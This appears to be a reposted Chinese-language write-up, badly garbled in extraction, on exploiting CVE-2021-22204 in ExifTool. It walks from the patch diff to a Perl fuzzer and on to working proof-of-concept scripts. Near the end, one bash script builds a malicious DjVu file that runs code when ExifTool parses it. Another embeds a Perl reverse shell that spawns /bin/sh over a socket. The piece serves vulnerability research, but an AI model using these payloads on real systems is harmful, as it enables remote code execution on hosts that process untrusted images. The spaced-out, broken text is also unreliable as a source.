[29027] 2021-06-22_从修复到漏洞利用:ExifTool中CVE-2021-22204的任意代码执行

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-19
2021-06-22_从修复到漏洞利用:ExifTool中CVE-2021-22204的任意代码执行 E x i f T o o l     C V E - 2 0 2 1 - 2 2 2 0 4   O t s   2 0 2 1 - 0 6 - 2 2 O t s           - 广   =     C V E - 2 0 2 1 - 2 2 2 0 4     ( P o C )     P o C   E x i f T o o l   P e r l     ( C L I )     J P G     G i t L a b   使   W e b   N I S T     ( N V D )   C V E - 2 0 2 1 - 2 2 2 0 4 E x i f T o o l   7 . 4 4     D j V u   O S S - s e c u r i t y   广 使 访   W e b   C V E - 2 0 2 1 - 2 2 2 0 4 G i t H u b   E x i f T o o l   d i f f D j V u   P e r l P a r s e A n t D j V u P a r s e A n t   a s d f ( h j k l 1 2 3 4 1 2 3 4 ( $ t o k   $ t o k e v a l n 使   C   e v a l e v a l e v a l 使 e v a l   使 e v a l   R e g e x     E v a l   P e r l   -                         #   m u s t   p r o t e c t   u n e s c a p e d   " $ "   a n d   " @ "   s y m b o l s ,   a n d   " "   a t   e n d   o f   s t r i n g -                         $ t o k   = ~   s { ( . ) | ( [ $ @ ] | $ ) } { ' ' . ( $ 2   | |   $ 1 ) } s g e ; -                         #   c o n v e r t   C   e s c a p e   s e q u e n c e s   ( a l l o w e d   i n   q u o t e d   t e x t ) -                         $ t o k   =   e v a l   q q { " $ t o k " } ; +                         #   c o n v e r t   C   e s c a p e   s e q u e n c e s ,   a l l o w e d   i n   q u o t e d   t e x t +                         #   ( n o t e :   t h i s   o n l y   c o n v e r t s   a   f e w   o f   t h e m ! ) +                         m y   % e s c   =   (   a   = >   " a " ,   b   = >   " b " ,   f   = >   " f " ,   n   = >   " n " , +                                                 r   = >   " r " ,   t   = >   " t " ,   ' " '   = >   ' " ' ,   ' '   = >   ' '   ) ; +                         $ t o k   = ~   s / ( . ) / $ e s c { $ 1 } | | ' ' . $ 1 / e g s ; $ t o k   = ~   #   a p p l y   s e a r c h / r e p l a c e   r e g e x   t o   $ t o k ,   s a v i n g   m o d i f i e d   v e r s i o n   i n   $ t o k   s   #   s e a r c h / r e p l a c e   r e g e x #   s y n t a x :   s / m a t c h   p a t t e r n / r e p l a c e   p a t t e r n / m o d i f i e r s
f o r   ( ; ; )   e v a l     P e r l   ' $ $ $ 使 q q {   . . .   } e v a l   $ t o k   使 $ t o k $     @ $ @ q q { $ t o k } n t   P e r l     E x i f T o o l   使 e v a l x 4 1 A U c c h   C t r l + h $ t o k 使   `   c   `     $     @   $ @   $ {   c o d e } 西 西   (   使 使 (   e v a l   #   ( c a n   u s e   { }   a s   p a t t e r n   d e l i m i t e r s   i n s t e a d   o f   /   i f   w e   w a n t )   {   ( . )   |   (   [ $ @ ]   |   $   )   }   #   w h a t   t o   m a t c h ,   a n d   c a p t u r e   g r o u p s   i n   p a r e n t h e s e s   ( i f   m a t c h ,   s a v e   i n p u t   f o u n d   i n   p a r e n t h e s e s ) #   m a t c h   a n y   s i n g l e   c h a r a c t e r   w h i c h   i s   p r e c e d e d   b y   a   ' ' ,   s a v i n g   t h a t   c h a r a c t e r   i n   c a p t u r e   g r o u p   1   O R #   c a p t u r e   t h e   f o l l o w i n g   m a t c h   i n   c a p t u r e   g r o u p   2 : #         a   ' $ '   c h a r a c t e r   O R #         a   ' @ '   c h a r a c t e r   O R #         a   ' '   c h a r a c t e r   a t   t h e   e n d   o f   t h e   l i n e   ( o r   b e f o r e   a   t r a i l i n g   n e w l i n e ,   t h a n k s   J a k u b ! )   {   ' ' . ( $ 2   | |   $ 1 )   }   #   w h a t   t o   r e p l a c e   e a c h   m a t c h   w i t h #   I F   t h e r e   i s   a   m a t c h   T H E N   r e p l a c e   t h e   m a t c h i n g   t e x t   w i t h #   a   ' '   c h a r a c t e r   f o l l o w e d   b y : #         c a p t u r e   g r o u p   2   i f   i t   e x i s t s   ( $   c h a r a c t e r ,   @   c h a r a c t e r ,   o r   ' '   a t   e n d   o f   l i n e )   O R #         c a p t u r e   g r o u p   1   ( a n y   c h a r a c t e r   t h a t   w a s   e s c a p e d   b y   a   ' ' ) #   ( b e c a u s e   o f   t h e   m a t c h i n g   r e g e x ,   o n e   o f   t h e s e   m u s t   e x i s t )   s g e ;   #   m o d i f i e r s #   s :   t r e a t   e n t i r e   i n p u t   a s   s i n g l e   l i n e #   g :   m a t c h   o n   a n y   o c c u r r e n c e   i n   i n p u t ,   n o t   j u s t   f i r s t #   e :   e v a l   t h e   r e p l a c e   s t r i n g f o r   ( ; ; )   { #   g e t   s t r i n g   u p   t o   t h e   n e x t   q u o t a t i o n   m a r k #   t h i s   d o e s n ' t   w o r k   i n   p e r l   5 . 6 . 2 !   g r r r r #   l a s t   T o k   u n l e s s   $ $ d a t a P t   = ~   / ( . * ? ) " / s g ; #   $ t o k   . =   $ 1 ; m y   $ p o s   =   p o s ( $ $ d a t a P t ) ; l a s t   T o k   u n l e s s   $ $ d a t a P t   = ~   / " / s g ;         $ t o k   . =   s u b s t r ( $ $ d a t a P t ,   $ p o s ,   p o s ( $ $ d a t a P t ) - 1 - $ p o s ) ; #   w e ' r e   g o o d   u n l e s s   q u o t e   w a s   e s c a p e d   b y   o d d   n u m b e r   o f   b a c k s l a s h e s l a s t   u n l e s s   $ t o k   = ~   / ( + ) $ /   a n d   l e n g t h ( $ 1 )   &   0 x 0 1 ;         $ t o k   . =   ' " ' ;         #   q u o t e   i s   p a r t   o f   t h e   s t r i n g } $ t o k   =   e v a l   q q { " $ t o k " } ;
P e r l   - T   P e r l   使 - T 使 西 使 - T e v a l P e r l 使 - M r e = d e b u g 使   u s e   r e   ' d e b u g ' ; 西 使 使   A S C I I /   A S C I I 西   A S C I I     A S C I I     2 5 %     A S C I I     5 0 %   p r i n t ( " s e e d :   " , r a n d ( ) , " n " ) ; 使 r a n d ( )   使 .   使 p e r l   . / f u z z . p l   & >   f u z z _ l o g . t x t 使   G i t   使   D a t a : : C o m p a r e     v u l n / f i x e d   P a r s e A n t P a r s e A n t   使   C P A N D a t a : : C o m p a r e 使 D a t a : : D u m p e r 西 P a r s e A n t e v a l   $ @   e v a l   使 P a r s e A n t 使 使 f o r   ( ; ; )   f u z z e r   使 使 退 退   f u z z e r s u b   j u s t _ r e g e x _ e v a l ( $ )   { m y   $ t o k   =   s h i f t ;         $ t o k   = ~   s { ( . ) | ( [ $ @ ] | $ ) } { ' ' . ( $ 2   | |   $ 1 ) } s g e ; #   c o n v e r t   C   e s c a p e   s e q u e n c e s   ( a l l o w e d   i n   q u o t e d   t e x t ) p r i n t ( " e v a l :   " , j o i n ( ' ' , ( " " " , $ t o k , " " " ) ) ,   " n " ) ;         $ t o k   =   e v a l   q q { " $ t o k " } ; } m y   $ t m p   =   < < ' E O F ' ; " ; e x i t ( 4 1 ) ; " E O F j u s t _ r e g e x _ e v a l ( $ t m p ) ; $   p e r l   . / j u s t _ r e g e x . p l   m a i n : : P a r s e A n t ( )   c a l l e d   t o o   e a r l y   t o   c h e c k   p r o t o t y p e   a t   . / j u s t _ r e g e x . p l   l i n e   2 4 . e v a l :   " " ; e x i t ( 4 1 ) ; " " U s e l e s s   u s e   o f   a   c o n s t a n t   ( " " )   i n   v o i d   c o n t e x t   a t   ( e v a l   3 4 )   l i n e   1 . $   e c h o   $ ? 4 1 $   p e r l   . / t e s t _ r e g e x . p l   m a i n : : P a r s e A n t ( )   c a l l e d   t o o   e a r l y   t o   c h e c k   p r o t o t y p e   a t   . / t e s t _ r e g e x . p l   l i n e   2 4 . e v a l :   " ; e x i t ( 4 1 ) ; " X X X   t o k e n   a f t e r :   ; e x i t ( 4 1 ) ; $   e c h o   $ ? 0
u s e   s t r i c t ; # u s e   w a r n i n g s ;   #   t o o   m u c h   i r r e l e v a n t   o u t p u t u s e   D a t a : : C o m p a r e ; u s e   D a t a : : D u m p e r ; s u b   p r o c e s s _ r e g e x ( $ ) { m y   $ d a t a P t   =   s h i f t ; # p o s ( $ d a t a P t )   =   0 ; r e t u r n   u n d e f   u n l e s s   $ $ d a t a P t   = ~   / ( S ) / s g ;       #   g e t   n e x t   n o n - s p a c e   c h a r a c t e r # m y   $ t o k   =   $ $ d a t a P t ; m y   $ t o k   =   " " ; f o r   ( ; ; )   { #   g e t   s t r i n g   u p   t o   t h e   n e x t   q u o t a t i o n   m a r k #   t h i s   d o e s n ' t   w o r k   i n   p e r l   5 . 6 . 2 !   g r r r r #   l a s t   T o k   u n l e s s   $ $ d a t a P t   = ~   / ( . * ? ) " / s g ; #   $ t o k   . =   $ 1 ; m y   $ p o s   =   p o s ( $ $ d a t a P t ) ; r e t u r n   u n d e f   u n l e s s   $ $ d a t a P t   = ~   / " / s g ;         $ t o k   . =   s u b s t r ( $ $ d a t a P t ,   $ p o s ,   p o s ( $ $ d a t a P t ) - 1 - $ p o s ) ; #   w e ' r e   g o o d   u n l e s s   q u o t e   w a s   e s c a p e d   b y   o d d   n u m b e r   o f   b a c k s l a s h e s l a s t   u n l e s s   $ t o k   = ~   / ( + ) $ /   a n d   l e n g t h ( $ 1 )   &   0 x 0 1 ;         $ t o k   . =   ' " ' ;         #   q u o t e   i s   p a r t   o f   t h e   s t r i n g     } #   X X X :   v u l n e r a b i l i t y   h e r e .   W e   c a n   g e t   c o d e   e x e c u t i o n   i n   t h i s   e v a l #   m u s t   p r o t e c t   u n e s c a p e d   " $ "   a n d   " @ "   s y m b o l s ,   a n d   " "   a t   e n d   o f   s t r i n g # u s e   r e   ' d e b u g ' ;     $ t o k   = ~   s { ( . ) | ( [ $ @ ] | $ ) } { ' ' . ( $ 2   | |   $ 1 ) } s g e ; # n o   r e   ' d e b u g ' ; #   c o n v e r t   C   e s c a p e   s e q u e n c e s   ( a l l o w e d   i n   q u o t e d   t e x t ) # p r i n t ( " e v a l :   " , j o i n ( ' ' , ( " " " , $ t o k , " " " ) ) ,   " n " ) ;     $ t o k   =   e v a l   q q { " $ t o k " } ; p r i n t ( " [ C R A S H ]   e r r o r :   " ,   @ _ )   i f   @ _ ;   #   A c t u a l l y   I   m i s r e a d   d o c u m e n t a t i o n ;   s h o u l d   h a v e   u s e d   $ @ .   O o p s ! r e t u r n   $ t o k ; } #   u n i f o r m   r a n d o m   b y t e s u b   r a n d _ b y t e ( )   { m y   $ b y t e   =   i n t ( r a n d ( 2 5 6 ) ) ; r e t u r n   c h r ( $ b y t e ) ;   #   c o n v e r t   f r o m   i n t   t o   c h a r a c t e r   ( b y t e ) } #   g e t   a   v a l i d   p r i n t a b l e   A S C I I   c h a r a c t e r   ( 0 x 2 0 - 0 x 7 e ) s u b   r a n d _ a s c i i ( )   { m y   $ v a l   =   i n t ( r a n d ( 0 x 7 e   -   0 x 2 0 )   +   0 x 2 0 ) ; r e t u r n   c h r ( $ v a l ) ; } #   I n p u t s : #   0 )   l e n g t h   o f   r e q u e s t   i n   b y t e s .   M a y   b e   l a r g e r   d u e   t o   e s c a p e s . #   1 )   g i v e   r a w   b y t e s .   I f   t r u e ,   j u s t   t h r o w   b y t e s   a t   u s .   I f   f a l s e ,   s t i c k   t o   p r i n t a b l e   A S C I I s u b   g e n e r a t e _ s t r i n g ( $ $ ) { m y   ( $ l e n g t h ,   $ r a w _ b y t e s )   =   @ _ ;
m y   $ r e s   =   " " ; f o r   ( m y   $ i = 0 ;   $ i   <   $ l e n g t h ;   $ i + + )   { i f   ( $ r a w _ b y t e s )   { #   a c t u a l l y   l e t ' s   j u s t   b e   d u m b   a n d   o n l y   d o   b y t e s   a n d   s e e   w h a t   h a p p e n s #   1 / 4   c h a n c e   o f   e s c a p i n g   t h i s   b y t e ,   j u s t   b e c a u s e   t h a t ' s   ' i n t e r e s t i n g ' i f   ( i n t ( r a n d ( 4 ) )   = =   0 )   {                 $ r e s   . =   " " ;             }             $ r e s   . =   r a n d _ b y t e ( ) ;         }   e l s e   { #   p r i n t a b l e   A S C I I m y   $ v   =   r a n d _ a s c i i ( ) ; i f ( i n t ( r a n d ( 4 ) )   = =   0 )   { #   r a n d o m l y   e s c a p e   s o m e   c h a r a c t e r s                 $ r e s   . =   " " ;             } i f   ( i n t ( r a n d ( 8 ) )   = =   0 )   { #   r a n d o m l y   d o u b l e   s o m e   c h a r a c t e r s                 $ r e s   . =   $ v ;             }             $ r e s   . =   $ v ;         }     } r e t u r n   $ r e s ; } s u b   f u z z ( )   { #   t h e   p l a i n   r e g e x ,   w i t h o u t   a n y   h a n d l i n g   o f   q u o t e s ,   i s   e x p l o i t a b l e   b y   t h i s :   " " ; p r i n t ( ' a s d f ' ) ; " " ; m y   $ p r i n t _ i n p u t s   =   0 ; #   w i l l   e x e c u t e   i n   t h e   e a s i e r   v e r s i o n   w i t h o u t   q u o t e   h a n d l i n g ,   i f   w r a p   w i t h   " m y   $ i n p u t   =   < < ' H E R E ' ; ; e x i t ( 4 2 ) ; ; H E R E     $ i n p u t   = ~   s / s + $ / / ; #   i d e a :   p u t   r a n d o m   t h i n g s   b e f o r e / a f t e r   a   ` p r i n t ( ' a s d f ' ) `   a n d   c h e c k   o u t p u t   f o r   ' a s d f ' #   I f   w e   s e e   i t ,   w e   k n o w   w e   h i t   g o l d !     $ |   =   1 ;   #   s e t   s t d o u t   t o   a u t o f l u s h   ( o u t p u t   p r o p e r l y   s y n c h r o n i z e d   w i t h   s t d e r r ) m y   $ s e e d   =   s r a n d ( 3 5 8 7 2 3 1 6 9 2 ) ;   #   g o t   e x e c u t i o n   w i t h   3 5 8 7 2 3 1 6 9 2   a f t e r   ~ 1   h r p r i n t ( " [ F U Z Z E R ]   f u z z i n g   w i t h   s e e d   $ s e e d n " ) ; m y   $ l a s t _ i   =   0 ; m y   $ l a s t _ t i m e s t a m p   =   t i m e ( ) ; m y   $ t i m e s t a m p _ s t a r t   =   $ l a s t _ t i m e s t a m p ; #   b   > =   a m y   $ e x e c s p e e d _ a   =   0 ; m y   $ e x e c s p e e d _ b   =   0 ; m y   $ e x e c s p e e d   =   0 ; f o r   ( m y   $ i   =   0 ; ;   $ i + + )   { #   X X X   g e n e r a t e   i n p u t   h e r e ! m y   $ p r e   =   g e n e r a t e _ s t r i n g ( i n t ( r a n d ( 6 ) ) ,   u n d e f ) ; m y   $ p o s t   =   g e n e r a t e _ s t r i n g ( i n t ( r a n d ( 6 ) ) ,   u n d e f ) ; m y   $ d a t a   =   j o i n ( ' ' , ( $ p r e ,   $ i n p u t , $ p o s t ) ) ;         $ d a t a   =   j o i n ( ' ' , ( " " " , $ d a t a , " " " ) ) ;   #   o n l y   w i t h   e x t r a   "   h a n d l i n g i f   ( $ i   -   $ l a s t _ i   > =   1 0 0 0 )   { m y   $ t i m e s t a m p   =   t i m e ( ) ; i f   ( $ t i m e s t a m p   >   $ l a s t _ t i m e s t a m p )   {
使 c @ y @ y e v a l 使 " % 2 c $ { ; e x i t ( 4 2 ) ; ; * } C ] " " c $ { e x i t ( 4 2 ) } " p e r l o p     P e r l       c X     c h r ( 2 8 ) "   X   "     X c h r ( 2 8 ) A S C I I     P e r l   c $ $ c $ c $ $   e v a l   F u z z e r   / { }   A S C I I   c x   ( R N G )     R N G     D j V u     D j V u   便 使 d j v u s e d   d j v u s e d E x i f T o o l     c     A N T a     A N T z   d j v l i b r e m a k e _ c _ s t r i n g 使 d j v u s e d l i b d j v l i b r e . s o 使 L D _ L I B R A R Y _ P A T H   P o C   J a k u b   W i l k     P o C   P o C     P o C 使   J a k u b     D j V u   c                 $ e x e c s p e e d _ a   =   $ e x e c s p e e d _ b ;                 $ e x e c s p e e d _ b   =   $ i ;                 $ e x e c s p e e d   =   $ e x e c s p e e d _ b   -   $ e x e c s p e e d _ a ;                 $ l a s t _ t i m e s t a m p   =   $ t i m e s t a m p ; p r i n t ( " [ F U Z Z E R ]   h e a r t b e a t   $ t i m e s t a m p :   ~ $ e x e c s p e e d   e x e c / s n " ) ; #   d o n ' t   p r i n t   a   m a s s i v e   f i l e   u n t i l   w e ' r e   j u s t   a b o u t   t o   s t r i k e   g o l d i f   ( $ t i m e s t a m p   -   $ t i m e s t a m p _ s t a r t   > =   4 2 7 0 )   {                     $ p r i n t _ i n p u t s   =   1 ;                 }             }             $ l a s t _ i   =   $ i ;         } #   X X X   c a l l   v u l n e r a b l e   c o d e   h e r e ! # p r i n t ( " [ F U Z Z E R ]   i n p u t :   $ d a t a n " ) ; #   l e t ' s   t r y   d i f f e r e n t i a l   t e s t i n g p r i n t ( j o i n ( ' ' , ( " t r y i n g   i n p u t :   " ,   $ d a t a ,   " n " ) ) )   i f   $ p r i n t _ i n p u t s ; m y   $ r e s   =   p r o c e s s _ r e g e x ( $ d a t a ) ;     } } f u z z ( ) ; $   p e r l   . / f u z z _ l i g h t . p l   & >   f u z z _ l o g . t x t $   e c h o   $ ? 4 2 . . . [ F U Z Z E R ]   h e a r t b e a t   1 6 2 0 4 3 5 1 3 7 :   ~ 7 6 0 0 0   e x e c / s V a r i a b l e   " @ a "   i s   n o t   i m p o r t e d   a t   ( e v a l   9 5 6 6 4 5 )   l i n e   1 . [ F U Z Z E R ]   h e a r t b e a t   1 6 2 0 4 3 5 1 3 8 :   ~ 7 7 0 0 0   e x e c / s . . . t r y i n g   i n p u t :   " R c @ y ; e x i t ( 4 2 ) ; ; 2 " V a r i a b l e   " @ y "   i s   n o t   i m p o r t e d   a t   ( e v a l   3 3 4 0 1 7 3 5 4 )   l i n e   1 .
  E x i f T o o l   1 2 . 2 3 P o C P e r l $ $   { . . . }   C   P o C     P e r l   c $ {   . . .   }   使 /   p e r l g o l f 使   D j V u     E x i f T o o l   使   j p g     p d f 访   P o C   J a k u b   W i l k   P o C   P o C 使 n c b r i c k e d . t e c h   使 使   P y t h o n     J a k u b     P o C   n c   M e t a s p l o i t     C V E   使 c n   J P G $   c a t   m y _ p o c . s h   # ! / b i n / b a s h #   l e t ' s   u s e   j a k u b ' s   t e c h n i q u e   t o   b u i l d   t h e   f i l e ,   b u t   u s e   c p r i n t f   ' P 1   1   1   0 '   >   m i n e . p b m c j b 2   m i n e . p b m   m i n e . d j v u #   f u z z e r   f i n d :   " % 2 c $ { ; e x i t ( 4 2 ) ; ; * } C ] " p r i n t f   ' A N T a 0 0 0 4 0 ( x m p   " c $ { e x i t ( 4 2 ) } ; #                     " '   > >   m i n e . d j v u e c h o   " c r e a t e d   m a l i c i o u s   m i n e . d j v u " $   p e r l   e x i f t o o l / e x i f t o o l   m i n e . d j v u   & >   / d e v / n u l l $   e c h o   $ ? 4 2 # ! / b i n / b a s h p r i n t f   ' P 1   1   1   0 '   >   r e v s h e l l . p b m c j b 2   r e v s h e l l . p b m   r e v s h e l l . d j v u p r i n t f   ' A N T a 0 0 0 x d 3 '   > >   r e v s h e l l . d j v u c a t   < < ' E O F '   > >   r e v s h e l l . d j v u ( x m p   " c $ { u s e   S o c k e t ; s o c k e t ( S , P F _ I N E T , S O C K _ S T R E A M , g e t p r o t o b y n a m e ( ' t c p ' ) ) ; i f ( c o n n e c t ( S , s o c k a d d r _ i n ( 1 3 3 7 , i n e t _ a t o n ( ' l o c a l h o s t ' ) ) ) ) { o p e n ( S T D I N , ' > & S ' ) ; o p e n ( S T D O U T , ' > & S ' ) ; o p e n ( S T D E R R , ' > & S ' ) ; e x e c ( ' / b i n / s h   - i ' ) ; } ; } ; # " E O F e c h o   " c r e a t e d   m a l i c i o u s   r e v s h e l l . d j v u "
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则